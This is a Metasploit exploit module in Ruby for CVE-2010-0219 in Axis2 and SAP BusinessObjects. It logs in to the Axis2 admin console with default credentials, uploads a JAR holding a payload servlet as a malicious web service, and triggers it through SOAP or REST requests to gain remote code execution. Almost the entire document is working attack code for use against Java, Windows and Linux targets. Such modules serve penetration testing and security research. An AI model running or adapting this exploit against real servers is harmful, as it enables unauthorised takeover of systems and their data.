##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)|Jetty.*/ ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Axis2 / SAP BusinessObjects Authenticated Code Execution (via SOAP)',
        'Description' => %q{
          This module logs in to an Axis2 Web Admin Module instance using a specific user/pass
          and uploads and executes commands via deploying a malicious web service by using SOAP.
        },
        'References' => [
          # General
          [ 'URL', 'http://www.rapid7.com/security-center/advisories/R7-0037.jsp' ],
          [ 'URL', 'http://spl0it.org/files/talks/source_barcelona10/Hacking%20SAP%20BusinessObjects.pdf' ],
          [ 'CVE', '2010-0219' ],
          [ 'OSVDB', '68662' ]
        ],
        'Platform' => %w{java linux win}, # others?
        'Targets' => [
          [
            'Java', {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            },
          ],
          #
          # Platform specific targets only
          #
          [
            'Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            },
          ],
          [
            'Linux X86',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            },
          ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2010-12-30',
        'Author' => [
          'Joshua Abraham <jabra[at]rapid7.com>', # original module
          'Chris John Riley' # modifications
        ],
        'License' => MSF_LICENSE,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
        OptString.new('PASSWORD', [ true, 'The password for the specified username', 'axis2' ]),
        OptString.new('PATH', [ true, "The URI path of the axis2 app (use /dswsbobje for SAP BusinessObjects)", '/axis2'])
      ]
    )
    register_autofilter_ports([ 8080 ])
  end

  def upload_exec(session, rpath)
    contents = ''
    name = Rex::Text.rand_text_alpha(8)

    # We must register this file early, that way the on_new_session method
    # won't miss it if FileDropper's cleanup routine kicks in.
    register_file_for_cleanup("webapps#{rpath}/WEB-INF/services/#{name}.jar")

    services_xml = %Q{
<service name="#{name}" scope="application">
  <description>
    #{Rex::Text.rand_text_alphanumeric(50 + rand(50))}
  </description>
  <messageReceivers>
    <messageReceiver
      mep="http://www.w3.org/2004/08/wsdl/in-only"
      class="org.apache.axis2.rpc.receivers.RPCInOnlyMessageReceiver"/>
    <messageReceiver
      mep="http://www.w3.org/2004/08/wsdl/in-out"
      class="org.apache.axis2.rpc.receivers.RPCMessageReceiver"/>
  </messageReceivers>
  <parameter name="ServiceClass">
    metasploit.PayloadServlet
  </parameter>
</service>
}
    if target.name =~ /Java/
      zip = payload.encoded_jar
      zip.add_file("META-INF/services.xml", services_xml)

      # We need this class as a wrapper to run in a thread.  For some reason
      # the Payload class is giving illegal access exceptions without it.
      servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class')
      zip.add_file("metasploit/PayloadServlet.class", servlet)

      contents = zip.pack
    end

    boundary = rand_text_alphanumeric(6)

    data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"filename\"; "
    data << "filename=\"#{name}.jar\"\r\nContent-Type: application/java-archive\r\n\r\n"
    data << contents
    data << "\r\n--#{boundary}--"

    res = send_request_raw({
      'uri' => "#{rpath}/axis2-admin/upload",
      'method' => 'POST',
      'data' => data,
      'headers' =>
        {
          'Content-Type'	=> 'multipart/form-data; boundary=' + boundary,
          'Cookie' => "JSESSIONID=#{session}",
        }
    }, 25)

    if (res and res.code == 200)
      print_good("Successfully uploaded")
    else
      print_error("Error uploading #{res}")
      return
    end
=begin
  res = send_request_raw({
    'uri'	 => "/#{datastore['PATH']}/axis2-web/HappyAxis.jsp",
    'method'	 => 'GET',
    'headers' =>
    {
      'Cookie' => "JSESSIONID=#{session}",
      }
    }, 25)
  puts res.body
  puts res.code
  if res.code > 200 and res.code < 300
    if ( res.body.scan(/([A-Z] \Program Files\Apache Software Foundation\Tomcat \d.\d)/i) )
      dir = $1.sub(/: /,':') + "\\webapps\\dswsbobje\\WEB-INF\\services\\"
      puts dir
    else
      if ( a.scan(/catalina\.home<\/th><td style=".*">(.*)&nbsp;<\/td>/i) )
        dir = $1 + "/webapps/dswsbobje/WEB-INF/services/"
        puts dir
      end
    end
  end
=end

    print_status("Polling to see if the service is ready")

    res_rest = send_request_raw({
      'uri'	=> "#{rpath}/services",
      'method'	=> 'GET',
    }, 25)

    soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
    xmlns = 'http://session.dsws.businessobjects.com/2007/06/01'
    xsi = 'http://www.w3.org/2001/XMLSchema-instance'

    data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
    data << '<soapenv:Envelope xmlns:soapenv="' + soapenv + '"  xmlns:ns="' + xmlns + '">' + "\r\n"
    data << '<soapenv:Header/>' + "\r\n"
    data << '<soapenv:Body>' + "\r\n"
    data << '<soapenv:run/>' + "\r\n"
    data << '</soapenv:Body>' + "\r\n"
    data << '</soapenv:Envelope>' + "\r\n\r\n"

    begin
      p = /Please enable REST/
      catch :stop do
        1.upto 5 do
          Rex::ThreadSafe.sleep(3)

          if (res_rest and res_rest.code == 200 and res_rest.body.match(p) != nil)
            # Try to execute the payload
            res = send_request_raw({
              'uri'	=> "#{rpath}/services/#{name}",
              'method' => 'POST',
              'data'	=> data,
              'headers' =>
                {
                  'Content-Length' => data.length,
                  'SOAPAction' => '"' + 'http://session.dsws.businessobjects.com/2007/06/01/run' + '"',
                  'Content-Type' => 'text/xml; charset=UTF-8',
                }
            }, 15)
          else
            ## rest
            res = send_request_raw({
              'uri' => "#{rpath}/services/#{name}/run",
              'method' => 'GET',
              'headers' =>
              {
                'cookie' => "jsessionid=#{session}",
              }
            }, 25)

            if not (res.code > 200 and res.code < 300)
              ## rest alternative path (use altres as a 200 is returned regardless)
              altres = send_request_raw({
                'uri'	=> "#{rpath}/rest/#{name}/run",
                'method' => 'GET',
                'headers' =>
                {
                  'cookie' => "jsessionid=#{session}",
                }
              }, 25)
            end
          end

          if res and res.code > 200 and res.code < 300
            throw :stop # exit loop
          elsif res and res.code == 401
            if (res.headers['WWW-Authenticate'])
              authmsg = res.headers['WWW-Authenticate']
            end
            print_error("The remote server responded expecting authentication")
            if authmsg
              print_error("WWW-Authenticate: %s" % authmsg)
            end
            raise ::Rex::ConnectionError
            throw :stop # exit loop
          end
        end
      end
    rescue ::Rex::ConnectionError
      print_error("http://#{rhost}:#{rport}#{rpath}/(rest|services) Unable to authenticate (#{res.code} #{res.message})")
    end
  end

  def exploit
    user = datastore['USERNAME']
    pass = datastore['PASSWORD']
    rpath = normalize_uri(datastore['PATH'])

    success = false
    srvhdr = '?'
    begin
      res = send_request_cgi(
        {
          'method' => 'POST',
          'uri' => normalize_uri(rpath, '/axis2-admin/login'),
          'ctype' => 'application/x-www-form-urlencoded',
          'data' => "userName=#{user}&password=#{pass}&submit=+Login+",
        }, 25
      )

      if not (res.kind_of? Rex::Proto::Http::Response)
        print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin not responding")
      end

      if res.code == 404
        print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin returned code 404")
      end

      srvhdr = res.headers['Server']
      if res.code == 200
        # Could go with res.headers["Server"] =~ /Apache-Coyote/i
        # as well but that seems like an element someone's more
        # likely to change

        success = true if (res.body.scan(/Welcome to Axis2 Web/i).size == 1)
        if res.get_cookies =~ /JSESSIONID=(.*);/
          session = $1
        end
      end
    rescue ::Rex::ConnectionError
      print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin Unable to attempt authentication")
    end

    if not success and not rpath =~ /dswsbobje/
      rpath = '/dswsbobje'
      begin
        res = send_request_cgi(
          {
            'method' => 'POST',
            'uri' => normalize_uri(rpath, '/axis2-admin/login'),
            'ctype' => 'application/x-www-form-urlencoded',
            'data' => "userName=#{user}&password=#{pass}&submit=+Login+",
          }, 25
        )

        if not (res.kind_of? Rex::Proto::Http::Response)
          print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin not responding")
        end

        if res.code == 404
          print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin returned code 404")
        end

        srvhdr = res.headers['Server']
        if res.code == 200
          # Could go with res.headers["Server"] =~ /Apache-Coyote/i
          # as well but that seems like an element someone's more
          # likely to change

          success = true if (res.body.scan(/Welcome to Axis2 Web/i).size == 1)
          if res.get_cookies =~ /JSESSIONID=(.*);/
            session = $1
          end
        end
      rescue ::Rex::ConnectionError
        print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin Unable to attempt authentication")
      end
    end

    if success
      print_good("http://#{rhost}:#{rport}#{rpath}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] successful login '#{user}' : '#{pass}'")
      upload_exec(session, rpath)
    else
      print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] failed to login as '#{user}'")
    end
  end
end
